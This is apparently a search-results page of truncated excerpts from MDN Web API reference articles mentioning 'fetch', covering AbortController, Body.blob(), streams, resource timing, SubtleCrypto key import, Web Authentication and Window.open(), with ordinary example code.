Add to iPhoto
ined || !node) { return null; } // is it an image node? var elemname = node.localname.touppercase(); if (elemname == "img") { return node; } // nope, return null return null; } this starts by getting the node the popup was opened from. if this is null or undefined, we immediately return null, indicating there is no node associated with the context menu. otherwise, we fetch the name of the element and look to see if it's an <img> element. if so, we return that node; otherwise, we return null. the important thing to take away from this is that this method returns either null or the image node the user right-clicked on. if they right-clicked anything other than an image, it returns null. responding when the "add image to iphoto" option is chosen when the user choos...
... other than an image, it returns null. responding when the "add image to iphoto" option is chosen when the user chooses to add the image to iphoto, the add() method is executed. add: function() { var node = iphoto.getcurrentnode(); if (node) { var src = node.getattribute("src"); // get the url of the image if (src && src != "") { iphoto.addimagebyurl(src); } } } this fetches the node representing the image the user wants to add, and, if it's an image, fetches the image's url from its src attribute, then passes it into our addimagebyurl() method, which will do all the heavy lifting. adding the image to iphoto the addimagebyurl() method handles actually retrieving the image and adding it to iphoto. let's take a look at its code, then explore how it works. this is w...
AbortController.AbortController() - Web APIs
the abortcontroller() constructor creates a new abortcontroller object instance. syntax var controller = new abortcontroller(); parameters none. examples in the following snippet, we aim to download a video using the fetch api. we first create a controller using the abortcontroller() constructor, then grab a reference to its associated abortsignal object using the abortcontroller.signal property. when the fetch request is initiated, we pass in the abortsignal as an option inside the request's options object (see {signal}, below). this associates the signal and controller with the fetch request and allows us to abort it by calling abortcontroller.abort(), as seen below in the second event listener. var controller = new abortcontroller(); var signal = controller.signal; var d...
...l}, below). this associates the signal and controller with the fetch request and allows us to abort it by calling abortcontroller.abort(), as seen below in the second event listener. var controller = new abortcontroller(); var signal = controller.signal; var downloadbtn = document.queryselector('.download'); var abortbtn = document.queryselector('.abort'); downloadbtn.addeventlistener('click', fetchvideo); abortbtn.addeventlistener('click', function() { controller.abort(); console.log('download aborted'); }); function fetchvideo() { ... fetch(url, {signal}).then(function(response) { ... }).catch(function(e) { reports.textcontent = 'download error: ' + e.message; }) } note: when abort() is called, the fetch() promise rejects with an aborterror. you can find a full wo...
Body.blob() - Web APIs
Web › API › Body › blob
that resolves with a blob. syntax response.blob().then(function(myblob) { // do something with myblob }); parameters none. note: if the response has a response.type of "opaque", the resulting blob will have a blob.size of 0 and a blob.type of empty string "", which renders it useless for methods like url.createobjecturl. return value a promise that resolves with a blob. example in our fetch request example (run fetch request live), we create a new request using the request() constructor, then use it to fetch a jpg. when the fetch is successful, we read a blob out of the response using blob(), put it into an object url using url.createobjecturl, and then set that url as the source of an <img> element to display the image. var myimage = document.queryselector('img'); var myrequest =...
...quest live), we create a new request using the request() constructor, then use it to fetch a jpg. when the fetch is successful, we read a blob out of the response using blob(), put it into an object url using url.createobjecturl, and then set that url as the source of an <img> element to display the image. var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest) .then(response => response.blob()) .then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); specifications specification status comment fetchthe definition of 'blob()' in that specification. living standard ...
Client.postMessage() - Web APIs
ters message the message to send to the client. this can be any structured-clonable type. transfer optional a sequence of objects that are transferred with the message. the ownership of these objects is given to the destination side and they are no longer usable on the sending side. return value undefined. examples sending a message from a service worker to a client: addeventlistener('fetch', event => { event.waituntil(async function() { // exit early if we don't have access to the client. // eg, if it's cross-origin. if (!event.clientid) return; // get the client. const client = await clients.get(event.clientid); // exit early if we don't get the client. // eg, if it closed. if (!client) return; // send a message to the client. client.pos...
...nction() { // exit early if we don't have access to the client. // eg, if it's cross-origin. if (!event.clientid) return; // get the client. const client = await clients.get(event.clientid); // exit early if we don't get the client. // eg, if it closed. if (!client) return; // send a message to the client. client.postmessage({ msg: "hey i just got a fetch from you!", url: event.request.url }); }()); }); receiving that message: navigator.serviceworker.addeventlistener('message', event => { console.log(event.data.msg, event.data.url); }); specifications specification status comment service workersthe definition of 'postmessage()' in that specification. working draft initial definition. ...
ClipboardItem - Web APIs
ly returns an array of mime types available within the clipboarditem. methods this interface defines the following methods. gettype() returns a promise that resolves with a blob of the requested mime type, or an error if the mime type is not found. ...
... of the requested mime type, or an error if the mime type is not found. examples writing to clipboard here we're writing a new clipboarditem.clipboarditem() to the clipboard by requesting a png image using the fetch api, and in turn, the responses' blob() method, to create the new clipboarditem. async function writeclipimg() { try { const imgurl = '/myimage.png'; const data = await fetch(imgurl); const blob = await data.blob(); await navigator.clipboard.write([ new clipboarditem({ [blob.type]: blob }) ]); console.log('fetched image copied.'); } catch(err) { console.error(err.name, err.message); } } reading from the clipboard here we're returning all items on the clipboard via the clipboard.read() method. then utilizing the clipboard...
DataTransferItem.webkitGetAsEntry() - Web APIs
canned, inserts the name of the item into it as its text content, and then appends it to the container. the container is always a list element in this example, as you'll see shortly. once the current item is in the list, the item's isdirectory property is checked. if the item is a directory, we need to recurse into that directory. the first step is to create a filesystemdirectoryreader to handle fetching the directory's contents. that's done by calling the item's createreader() method. then a new <ul> is created and appended to the parent list; this will contain the directory's contents in the next level down in the list's hierarchy. after that, directoryreader.readentries() is called to read in all the entries in the directory. these are each, in turn, passed into a recursive call to scanfil...
...then we call event.preventdefault() to prevent the event from being handled further after we're done. now it's time to start building the list. first, the list is emptied by setting listing.innerhtml to be empty. that leaves us with an empty ul to begin inserting directory entries into. then we ...
FileSystemDirectoryReader.readEntries() - Web APIs
canned, inserts the name of the item into it as its text content, and then appends it to the container. the container is always a list element in this example, as you'll see shortly. once the current item is in the list, the item's isdirectory property is checked. if the item is a directory, we need to recurse into that directory. the first step is to create a filesystemdirectoryreader to handle fetching the directory's contents. that's done by calling the item's createreader() method. then a new <ul> is created and appended to the parent list; this will contain the directory's contents in the next level down in the list's hierarchy. after that, directoryreader.readentries() is called to read in all the entries in the directory. these are each, in turn, passed into a recursive call to scanfil...
...then we call event.preventdefault() to prevent the event from being handled further after we're done. now it's time to start building the list. first, the list is emptied by setting listing.innerhtml to be empty. that leaves us with an empty ul to begin inserting directory entries into. then we ...
Introduction to the File and Directory Entries API - Web APIs
nt an outstanding operation to block the ui. the synchronous api, on the other hand, allows for simpler programming model, but it must be used with webworkers. usefulness of the api the file and directory entries api is an important api for the following reasons: it lets apps have offline and storage features that involve large binary blobs. it can improve performance by letting an app pre-fetch assets in the background and cache locally. it lets users of your web app directly edit a binary file that's in their local file directory. it provides a storage api that is already familiar to your users, who are used to working with file systems. for examples of features you can create with this app, see the sample use cases section. the file and directory entries api and other storage ...
... file into a local sandbox and upload a chunk at a time. the app can restart uploads after an interruption, such as the browser being closed or crashing, connectivity getting interrupted, or the computer getting shut down. video game or other apps with lots of media assets the app downloads one or several large tarballs and expands them locally into a directory structure. the app pre-fetches assets in the background, so the user can go to the next task or game level without waiting for a download. audio or photo editor with offline access or local cache (great for performance and speed) the app can write to files in place (for example, overwriting just the id3/exif tags and not the entire file). offline video viewer the app can download large files (>1gb) for late...
GeolocationCoordinates.longitude - Web APIs
e zero meridian (also known as the prime meridian or the reference meridian) is not precisely the same as the greenwhich meridian that most people think of. it is, instead, the iers reference meridian, which is located 5.3 arcseconds (102 meters / 335 feet) east of the greenwich meridian. this is the same standard used by the global positioning system (gps). examples in this simple example, we fetch the user's location and display the resulting coordinates once they're returned. javascript the javascript code below creates an event listener so that when the user clicks on a button, the location information is retrieved and displayed. let button = document.getelementbyid("get-location"); let lattext = document.getelementbyid("latitude"); let longtext = document.getelementbyid("longitude");...
... position.coords.longitude; lattext.innertext = lat.tofixed(2); longtext.innertext = long.tofixed(2); }); }); after setting up variables to more conveniently reference the button element and the two elements into which the latitude and logitude will be drawn, the event listener is established by calling addeventlistener() on the <button> element. when the user clicks the button, we'll fetch and display the location information. upon receiving a click event, we call getcurrentposition() to request the device's current position. this is an asynchronous request, so we provide a callback which receives as in put a geolocationposition object describing the determined position. from the geolocationposition object, we obtain the user's latitude and longitude using position.coords.latitud...
HTMLIFrameElement.referrerPolicy - Web APIs
syntax refstr = iframeelt.referrerpolicy; iframeelt.referrerpolicy = refstr; values no-referrer the referer header will be omitted entirely. no referrer information is sent along with requests. no-referrer-when-downgrade (default) this is the user agent's default behavior if no policy is specified. the url is sent as a referrer when the protocol security level stays the same (http→http, https→https), but isn't sent to a less secure destination (https→http). ...
...ull url when performing a same-origin or cross-origin request. this policy will leak origins and paths from tls-protected resources to insecure origins. carefully consider the impact of this setting. examples var iframe = document.createelement("iframe"); iframe.src = "/"; iframe.referrerpolicy = "unsafe-url"; var body = document.getelementsbytagname("body")[0]; body.appendchild(iframe); // fetch the image using the complete url as the referrer specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification. candidate recommendation added the referrerpolicy attribute. html living standardthe definition of 'htmliframeelement: referrerpolicy' in that specification. living standard ...
HTMLImageElement.referrerPolicy - Web APIs
syntax refstr = imgelt.referrerpolicy; imgelt.referrerpolicy = refstr; values a domstring representing the referrer policy. possible values are: "no-referrer" meaning that the referer: http header will not be sent. "origin" meaning that the referrer will be the origin of the page, that is roughly the scheme, the host and the port. "unsafe-url" meaning that the referrer will include the origin and the path (but not the fragment, password, or username). ...
... "unsafe-url" meaning that the referrer will include the origin and the path (but not the fragment, password, or username). this case is unsafe as it can leak path information that has been concealed to third-party by using tls. examples var img = new image(); img.src = 'img/logo.png'; img.referrerpolicy = 'origin'; var div = document.getelementbyid('divaround'); div.appendchild(img); // fetch the image using the origin as the referrer specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification. candidate recommendation added the referrerpolicy property. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to...
HTMLImageElement - Web APIs
w image() is equivalent to calling document.createelement("img"). properties inherits properties from its parent, htmlelement. htmlimageelement.alt a domstring that reflects the alt html attribute, thus indicating the alternate fallback content to be displayed if the image has not been loaded. htmlimageelement.complete read only returns a boolean that is true if the browser has finished fetching the image, whether successful or not. that means this value is also true if the image has no src value indicating an image to load. htmlimageelement.crossorigin a domstring specifying the cors setting for this image element. see cors settings attributes for further details. this may be null if cors is not used. htmlimageelement.currentsrc read only returns a usvstring representing the url...
...uralwidth read only an integer value representing the intrinsic width of the image in css pixels, if it is available; otherwise, it will show 0. this is the width the image would be if it were rendered at its natural full size. htmlimageelement.referrerpolicy a domstring that reflects the referrerpolicy html attribute, which tells the user agent how to decide which referrer to use in order to fetch the image. read this article for details on the possible values of this string. htmlimageelement.sizes a domstring reflecting the sizes html attribute. this string specifies a list of comma-separated conditional sizes for the image; that is, for a given viewport size, a particular image size is to be used. read the documentation on the sizes page for details on the format of this string. htmli...
HTMLMediaElement: stalled event - Web APIs
the stalled event is fired when the user agent is trying to fetch media data, but data is unexpectedly not forthcoming. bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onstalled specification html5 media examples these examples add an event listener for the htmlmediaelement's stalled event, then post a message when that event handler has reacted to the event firing. ...
...roperty globaleventhandlers.onstalled specification html5 media examples these examples add an event listener for the htmlmediaelement's stalled event, then post a message when that event handler has reacted to the event firing. using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('stalled', (event) => { console.log('failed to fetch data, but trying.'); }); using the onstalled event handler property: const video = document.queryselector('video'); video.onstalled = (event) => { console.log('failed to fetch data, but trying.'); }; specifications specification status html living standardthe definition of 'stalled media event' in that specification. living standard html5the definition of '...
HTMLMediaElement - Web APIs
returns a double representing the number of samples per second that will be played. for example, 44100 samples per second is the sample rate used by cd audio. htmlmediaelement.muted is a boolean that determines whether audio is muted. true if the audio is muted and false otherwise. htmlmediaelement.networkstate read only returns a unsigned short (enumeration) indicating the current state of fetching the media over the network. htmlmediaelement.paused read only returns a boolean that indicates whether the media element is paused. htmlmediaelement.playbackrate is a double that indicates the rate at which the media is being played back. htmlmediaelement.played read only returns a timeranges object that contains the ranges of the media source that the browser has played, if any. html...
...) method, or the autoplay attribute playing fired when playback is ready to start after having been paused or delayed due to lack of data progress fired periodically as the browser loads a resource. ratechange fired when the playback rate has changed. seeked fired when a seek operation completes seeking fired when a seek operation begins stalled fired when the user agent is trying to fetch media data, but data is unexpectedly not forthcoming. suspend fired when the media data loading has been suspended. timeupdate fired when the time indicated by the currenttime attribute has been updated volumechange fired when the volume has changed. waiting fired when playback has stopped because of a temporary lack of data specifications specification status comment ...
HTMLScriptElement - Web APIs
not be specified if the src attribute is absent. there are three possible execution modes: if the async attribute is present, then the script will be executed asynchronously as soon as it downloads. if the async attribute is absent but the defer attribute is present, then the script is executed when the page has finished parsing. if neither attribute is present, then the script is fetched and executed immediately, blocking further parsing of the page. the defer attribute may be specified with the async attribute, so legacy browsers that only support defer (and not async) fall back to the defer behavior instead of the default blocking behavior. note: the exact processing details for these attributes are complex, involving many different aspects of html, and therefore are...
...l or outerhtml, they do not execute at all. htmlscriptelement.nomodule is a boolean that if true, stops the script's execution in browsers that support es2015 modules — used to run fallback scripts in older browsers that do not support javascript modules. htmlscriptelement.referrerpolicy is a domstring that reflects the referrerpolicy html attribute indicating which referrer to use when fetching the script, and fetches done by that script. methods no specific methods; inherits methods from its parent, htmlelement. examples dynamically importing scripts let's create a function that imports new scripts within a document creating a <script> node immediately before the <script> that hosts the following code (through document.currentscript). these scripts will be asynchronously execu...
HTMLSelectElement.selectedOptions - Web APIs
ue="2">cheeseburger</option> <option value="3">double bacon burger supreme</option> <option value="4">pepperoni pizza</option> <option value="5">taco</option> </select> <br> <button name="order" id="order"> order now </button> <p id="output"> </p> the <select> element is set to allow multiple items to be selected, and it is 7 rows tall. note also the <button>, whose role it is to trigger fetching the htmlcollection of selected elements using the selected property. javascript the javascript code that establishes the event handler for the button, as well as the event handler itself, looks like this: let orderbutton = document.getelementbyid("order"); let itemlist = document.getelementbyid("foods"); let outputbox = document.getelementbyid("output"); orderbutton.addeventlistener("click...
...) { output += " and "; } else if (i < (collection.length - 2)) { output += ", "; } else if (i === (collection.length - 2)) { output += ", and "; } } if (output === "") { output = "you didn't order anything!"; } outputbox.innerhtml = output; }, false); this script sets up a click event listener on the "order now" button. when clicked, the event handler fetches the list of selected options using selectedoptions, then iterates over the options in the list. a string is constructed to list the ordered items, with logic to build the list using proper english grammar rules (including a serial comma). result the resulting content looks like this in action: specifications specification status comment html living standardthe defi...
Headers - Web APIs
Web › API › Headers
these actions include retrieving, setting, adding to, and removing headers from the list of the request's headers. a headers object has an associated header list, which is initially empty and consists of zero or more name and value pairs. you can add to this using methods like append() (see examples.) in all methods of this interface, header names are matched by case-insensitive byte sequence. for security reasons, some headers can only be controlled by the user agent. these headers include the forbidden header names and forbidden response header names. ...
... living standard ...
Timing element visibility with the Intersection Observer API - Web APIs
f milliseconds the ad has been visible. these are accessed through each ad's htmlelement.dataset attribute, which provides a domstringmap mapping each custom attribute's name to its value. the values are strings, but we can convert those to numbers easily enough—in fact, javascript generally does it automatically, although we'll have one instance where we have to do it ourselves. we start by fetching the time at which the ad's previous visibility status check time (adbox.dataset.lastviewstarted) into a local variable named laststarted. we also get the current time-since-creation value using performance.now() into currenttime. if laststarted is non-zero—meaning the timer is currently running, we compute the difference between the current time and the start time to determine the number of...
...elem.classname="timer"; timerelem.innertext = "0:00"; if (!replacebox) { contentbox.appendchild(adbox); } adobserver.observe(adbox); } first is the array ads. this array contains the data needed to create each ad. we have four here to choose from at random. in a real-world scenario, of course, the ads would come from a database or, more likely, an advertising service from which you fetch ads using an api. however, our needs are simple: each ad is represented by an object with three properties: a background color (bgcolor), a title (title), and a body text string (body). then we define several variables: adbox this will be set to the element that represents the ad. for new ads being appended to the page, this is created using document.createelement(). when replacing an existi...
MediaSource.endOfStream() - Web APIs
l for a media chunk, and onabort or onerror triggers, you might want to call endofstream('network'), display a descriptive message in the ui, and maybe retry the network request immediately or wait until the network is back up (via some kind of polling.) decode: terminates playback and signals that a decoding error has occured. this can be used to indicate that a parsing error has occured while fetching media data; maybe the data is corrupt, or is encoded using a codec that the browser doesn't know how to decode. return value undefined exceptions exception explanation invalidstateerror mediasource.readystate is not equal to open, or one or more of the sourcebuffer objects in mediasource.sourcebuffers are being updated (i.e. their sourcebuffer.updating prop...
...iasource; //console.log(mediasource.readystate); // closed video.src = url.createobjecturl(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; specifications specification status comment media source extensionsthe definition of 'endofstream()' in that specification...
MutationObserver.takeRecords() - Web APIs
syntax const mutationrecords = mutationobserver.takerecords() parameters none. ...
...nt"); const observeroptions = { childlist: true, attributes: true } const observer = new mutationobserver(callback); observer.observe(targetnode, observeroptions); /* ...later, when it's time to stop observing... */ /* handle any still-pending mutations */ let mutations = observer.takerecords(); observer.disconnect(); if (mutations) { callback(mutations); } the code in lines 12–17 fetches any unprocessed mutation records, then invokes the callback with the records so that they can be processed. this is done immediately prior to calling disconnect() to stop observing the dom. specifications specification status comment domthe definition of 'mutationobserver.takerecords()' in that specification. living standard ...
PasswordCredential.additionalData - Web APIs
wordcredential.additionaldata passwordcredential.additionaldata = urlsearchparams ulrsearchparams = passwordcredential.additionaldata value one of a formdata instance, a urlsearchparams instance, or null. example the following example creates a formdata object with an appended csrf token. it then stores the form object in the additionaldata parameter, before sending it to server in a call to fetch. ...
...ct in the additionaldata parameter, before sending it to server in a call to fetch. //the options object was previously created. navigator.credentials.get(options).then(function(creds) { if (creds.type == 'password') { var form = new formdata(); var csrf_token = document.queryselector('csrf_token').value; form.append('csrf_token', csrf_token); creds.additionaldata = form; fetch('https://www.example.com', { method: 'post', credentials: creds }); }; }); specifications specification status comment credential management level 1 working draft initial definition. ...
Payment processing concepts - Web APIs
h is the process of validating the identity of a merchant in some way, usually using some form of cryptographic challenge. if the merchant doesn't successfully validate, it's not allowed to use the payment handler. the exact validation technology depends on the payment handler, and merchant validation is entirely optional. in the end, the only thing that the web site or app is responsible for is fetching the merchant's validation key and passing it into the event's complete() method. paymentrequest.onmerchantvalidation = function(event) { event.complete(fetchvalidationdata(event.validationurl)); } in this example, fetchvalidationdata() is a function which loads the payment handler specific identifying information from the address given by validationurl. note this function must go through ...
...can use the payment handler. thus, it's important to note that the user agent never sends a merchantvalidation event, unless the user agent itself implements a payment handler. for instance, safari has integrated support for apple pay, so the apple pay payment handler uses this to ensure that apple pay can be used to pay the merchant by sending merchantvalidation to the client, instructing it to fetch the server's validation data and deliver it to the payment handler by calling complete(). specifications specification status comment payment request api candidate recommendation initial definition. basic card payment working draft defines basiccardrequest and basiccardresponse. payment method identifiers candidate recommendation defin...
PerformanceResourceTiming.decodedBodySize - Web APIs
example the following example, the value of the size properties of all "resource" type events are logged. ...
... example the following example, the value of the size properties of all "resource" type events are logged. function log_sizes(perfentry){ // check for support of the *size properties and print their values // if supported. ...
PerformanceResourceTiming.encodedBodySize - Web APIs
example the following example, the value of the size properties of all "resource" type events are logged. ...
...ache), of the payload body, before removing any applied content-codings. note: this feature is available in web workers. if the resource is retrieved from an application cache or a local resource, it must return the size of the payload body before removing any applied content-codings. syntax resource.encodedbodysize; return value a number representing the size (in octets) received from the fetch (http or cache), of the payload body, before removing any applied content-codings. example the following example, the value of the size properties of all "resource" type events are logged. function log_sizes(perfentry){ // check for support of the performanceentry.*size properties and print their values // if supported. if ("decodedbodysize" in perfentry) console.log("decodedbodysize...
PerformanceResourceTiming.nextHopProtocol - Web APIs
example the following example uses the nexthopprotocol property. ...
... the alpn protocol id (rfc7301). when a proxy is used, if a tunnel connection is established, this property returns the alpn protocol id of the tunneled protocol. otherwise, this property returns the alpn protocol id of the first hop to the proxy. note: this feature is available in web workers. syntax resource.nexthopprotocol; return value a string representing the network protocol used to fetch the resource, as identified by the alpn protocol id (rfc7301). example the following example uses the nexthopprotocol property. function print_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_nexthopprotocol(p[i]); } } function print_nexthopprotocol(perfentry...
PerformanceResourceTiming.redirectEnd - Web APIs
note: this feature is available in web workers. ...
..." + properti...
PerformanceResourceTiming.redirectStart - Web APIs
the redirectstart read-only property returns a timestamp representing the start time of the fetch which that initiates the redirect. if there are http redirects when fetching the resource and if any of the redirects are not from the same origin as the current document, but the timing allow check algorithm passes for each redirected resource, this property returns the starting time of the fetch that initiates the redirect; otherwise, zero is returned. note: this feature is available in web workers. syntax resource.redirectstart; return value a timestamp representing the start time of the fetch which initiates the redirect. example in the following example, the value of the *start and *end properties of all "resource" type events are logged. function print_performanceentries() { // u...
..." + properti...
PerformanceResourceTiming.secureConnectionStart - Web APIs
the secureconnectionstart read-only property returns a timestamp immediately before the browser starts the handshake process to secure the current connection. if a secure connection is not used, the property returns zero. note: this feature is available in web workers. syntax resource.secureconnectionstart; return value if the resource is fetched over a secure connection, a domhighrestimestamp immediately before the browser starts the handshake process to secure the current connection. if a secure connection is not used, this property returns zero. example in the following example, the value of the *start and *end properties of all "resource" type events are logged. function print_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performanc...
..." + properti...
PerformanceResourceTiming.workerStart - Web APIs
if the resource is not intercepted by a service worker the property will always return 0. note: this feature is available in web workers. syntax resource.workerstart; value a domhighrestimestamp. example in the following example, the value of the *start and *end properties of all "resource" type events are logged. ...
..."resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_start_and_end_properties(p[i]); } } function print_start_and_end_properties(perfentry) { // print timestamps of the performanceentry *start and *end properties properties = ["connectstart", "connectend", "domainlookupstart", "domainlookupend", "fetchstart", "redirectstart", "redirectend", "requeststart", "responsestart", "responseend", "secureconnectionstart", "workerstart"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in perfentry; if (supported) { var value = perfentry[properties[i]]; console.log(...
ReadableStream.ReadableStream() - Web APIs
high water mark. if pull() returns a promise, then it won't be called again until that promise fulfills; if the promise rejects, the stream will become errored. the controller parameter passed to this method is a readablestreamdefaultcontroller or a readablebytestreamcontroller, depending on the value of the type property. this can be used by the developer to control the stream as more chunks are fetched. cancel(reason) optional this method, also defined by the developer, will be called if the app signals that the stream is to be cancelled (e.g. if readablestream.cancel() is called). the contents should do whatever is necessary to release access to the stream source. if this process is asynchronous, it can return a promise to signal success or failure. the reason parameter contains a domstr...
... interval = setinterval(() => { let string = randomchars(); // add the string to the stream controller.enqueue(string); // show it on the screen let listitem = document.createelement('li'); listitem.textcontent = string; list1.appendchild(listitem); }, 1000); button.addeventlistener('click', function() { clearinterval(interval); fetchstream(); controller.close(); }) }, pull(controller) { // we don't really need a pull in this example }, cancel() { // this is called if the reader cancels, // so we should stop generating strings clearinterval(interval); } }); specifications specification status comment streamsthe definition of 'readablestream()' in that specification.
ReadableStream.getReader() - Web APIs
le example, a previously-created custom readablestream is read using a readablestreamdefaultreader created using getreader(). (see our simple random stream example for the full code). each chunk is read sequentially and output to the ui, until the stream has finished being read, at which point we return out of the recursive function and print the entire stream to another part of the ui. function fetchstream() { const reader = stream.getreader(); let charsreceived = 0; // read() returns a promise that resolves // when a value has been received reader.read().then(function processtext({ done, value }) { // result objects contain two properties: // done - true if the stream has already given you all its data. // value - some data. always undefined when done is true. if ...
... // when a value has been received reader.read().then(function processtext({ done, value }) { // result objects contain two properties: // done - true if the stream has already given you all its data. // value - some data. always undefined when done is true. if (done) { console.log("stream complete"); para.textcontent = value; return; } // value for fetch streams is a uint8array charsreceived += value.length; const chunk = value; let listitem = document.createelement('li'); listitem.textcontent = 'received ' + charsreceived + ' characters so far. current chunk = ' + chunk; list2.appendchild(listitem); result += chunk; // read some more, and call this function again return reader.read().then(processtext); }); } ...
ReadableStreamDefaultReader.ReadableStreamDefaultReader() - Web APIs
le example, a previously-created custom readablestream is read using a readablestreamdefaultreader created using getreader(). (see our simple random stream example for the full code). each chunk is read sequentially and output to the ui, until the stream has finished being read, at which point we return out of the recursive function and print the entire stream to another part of the ui. function fetchstream() { const reader = stream.getreader(); let charsreceived = 0; // read() returns a promise that resolves // when a value has been received reader.read().then(function processtext({ done, value }) { // result objects contain two properties: // done - true if the stream has already given you all its data. // value - some data. always undefined when done is true. if ...
... // when a value has been received reader.read().then(function processtext({ done, value }) { // result objects contain two properties: // done - true if the stream has already given you all its data. // value - some data. always undefined when done is true. if (done) { console.log("stream complete"); para.textcontent = result; return; } // value for fetch streams is a uint8array charsreceived += value.length; const chunk = value; let listitem = document.createelement('li'); listitem.textcontent = 'received ' + charsreceived + ' characters so far. current chunk = ' + chunk; list2.appendchild(listitem); result += chunk; // read some more, and call this function again return reader.read().then(processtext); }); } ...
ReadableStreamDefaultReader.cancel() - Web APIs
ode is based on our simple random stream example). each chunk is read sequentially and output to the ui, until the stream has finished being read, at which point we return out of the recursive function and print the entire stream to another part of the ui. when the stream is done (if (done)), we run reader.cancel() to cancel the stream, signalling that we don't need to use it any more. function fetchstream() { const reader = stream.getreader(); let charsreceived = 0; // read() returns a promise that resolves // when a value has been received reader.read().then(function processtext({ done, value }) { // result objects contain two properties: // done - true if the stream has already given you all its data. // value - some data. always undefined when done is true. if ...
...een received reader.read().then(function processtext({ done, value }) { // result objects contain two properties: // done - true if the stream has already given you all its data. // value - some data. always undefined when done is true. if (done) { console.log("stream complete"); reader.cancel(); para.textcontent = result; return; } // value for fetch streams is a uint8array charsreceived += value.length; const chunk = value; let listitem = document.createelement('li'); listitem.textcontent = 'received ' + charsreceived + ' characters so far. current chunk = ' + chunk; list2.appendchild(listitem); result += chunk; // read some more, and call this function again return reader.read().then(processtext); }); } ...
RequestDestination - Web APIs
the requestdestination enumerated type contains the permitted values for a request's destination. these string values indicate potential types of content that a request may try to retrieve. values "" the default value of destination is used for destinations that do not have their own value. navigator.sendbeacon(), eventsource, <a ping>, <area ping>, fetch(), xmlhttprequest, websocket, cache and more. "audio" the target is audio data. "audioworklet" the target is data being fetched for use by an audio worklet. "document" the target is a document (html or xml). "embed" the target is embedded content. "font" the target is a font. "image" the target is an image. "manifest" the target is a manifest. "object" the target is an object. "paintworklet" the target is a paint workle...
...a report. "script" the target is a script. "serviceworker" the target is a service worker. "sharedworker" the target is a shared worker. "style" the target is a style "track" the target is an html <track>. "video" the target is video data. "worker" the target is a worker. "xslt" the target is an xlst transform. specifications specification status comment fetchthe definition of 'requestdestination' in that specification. living standard initial definition ...
SubtleCrypto.importKey() - Web APIs
7qpigfprbb4op/e0qcfsiimi3scppjvumqdvvzypoimub+rv3zoxkrzxeuorpopr48fzbl7rn90yrqsasrp9e4iv8qwb3vxle7x0tdqqnryqrc/osgzus2zchokmcu8= -----end private key-----`; /* import a pem encoded rsa private key, to use for rsa-pss signing. takes a string containing the pem encoded key, and returns a promise that will resolve to a cryptokey representing the private key. ...
...qywojlcboq5fovy8llnqcjm1w1bftxihoajwohihuirmctv7dzx47tllmarskvtrjd0df92jx/xy20lz+dxp8yl5yuwafga3xko3lsjgeoex10nb8jfkmgsb7qiudtvvbbudfd5fwibmctacwwx7nyewwdb7a9cfxj7ejrdrdak3ux/tomlhfxvlqsl341tkcf4zqoz96rfpugpplofvn0x66cm1pqckdhzje6u5xge964zkkyuppsy6dcie4obhw4vdjgumlzv0z7ud010rlineugde2fqbfy/c+uwignpbpkkq+bv/uigs6dhqtcved5wgybqidaqab -----end public key-----`; function importrsakey(pem) { // fetch the part of the pem string between header and footer const pemheader = "-----begin public key-----"; const pemfooter = "-----end public key-----"; const pemcontents = pem.substring(pemheader.length, pem.length - pemfooter.length); // base64 decode the string to get the binary data const binaryderstring = window.atob(pemcontents); // convert from a binary string to an array...
Inputs and input sources - Web APIs
the event is delivered as an xrinputsourcechangeevent, which includes three properties of interest: session the xrsession for which the input sources have changed. added an array of zero or more xrinputsource objects indicating the input sources that have been newly added to the xr system. removed an array of zero or more xr...
... if (!targetraypose) { return; } let targetraytransform = targetraypose.transform; let targetobject = findtargetobject(targetraytransform); if (targetobject) { /* do stuff with the targeted object */ } }); this obtains the origin of the targeting ray in the vector targetsourcepoint and the ray's orientation in the quaternion targetdirection. with either the this starts by fetching the target ray's space into the local constant targetrayspace. this is in turn used when calling the xrframe method getpose() to create an xrpose object representing the position and orientation of the target ray in the viewer's reference space, viewerrefspace. if this is null, the event handler returns without doing anything further. the target ray's transform is obtained from the pose's tra...
Web Authentication API - Web APIs
uthentication api. server sends challenge, user info, and relying party info - the server sends a challenge, user information, and relying party information to the javascript program. the protocol for communicating with the server is not specified and is outside of the scope of the web authentication api. typically, server communications would be rest over https (probably using xmlhttprequest or fetch), but they could also be soap, rfc 2549 or nearly any other protocol provided that the protocol is secure. the parameters received from the server will be passed to the create() call, typically with little or no modification and returns a promise that will resolve to a publickeycredential containing an authenticatorattestationresponse. note that it is absolutely critical that the challenge be a b...
...equest. the protocol and format of this request is outside of the scope of the web authentication api. server sends challenge - the server sends a challenge to the javascript program. the protocol for communicating with the server is not specified and is outside of the scope of the web authentication api. typically, server communications would be rest over https (probably using xmlhttprequest or fetch), but they could also be soap, rfc 2549 or nearly any other protocol provided that the protocol is secure. the parameters received from the server will be passed to the get() call, typically with little or no modification. note that it is absolutely critical that the challenge be a buffer of random information (at least 16 bytes) and it must be generated on the server in order to ensure the secur...
Window.open() - Web APIs
Web › API › Window › open
ailable. if the window couldn't be opened, the returned value is instead null. the returned reference can be used to access properties and methods of the new window as long as it complies with same-origin policy security requirements. description the open() method creates a new secondary browser window, similar to choosing new window from the file menu. the url parameter specifies the url to be fetched and loaded in the new window. if url is an empty string, then a new blank, empty window (url about:blank) is created with the default toolbars of the main window. note that remote urls won't load immediately. when window.open() returns, the window always contains about:blank. the actual fetching of the url is deferred and starts after the current script block finishes executing. the window cre...
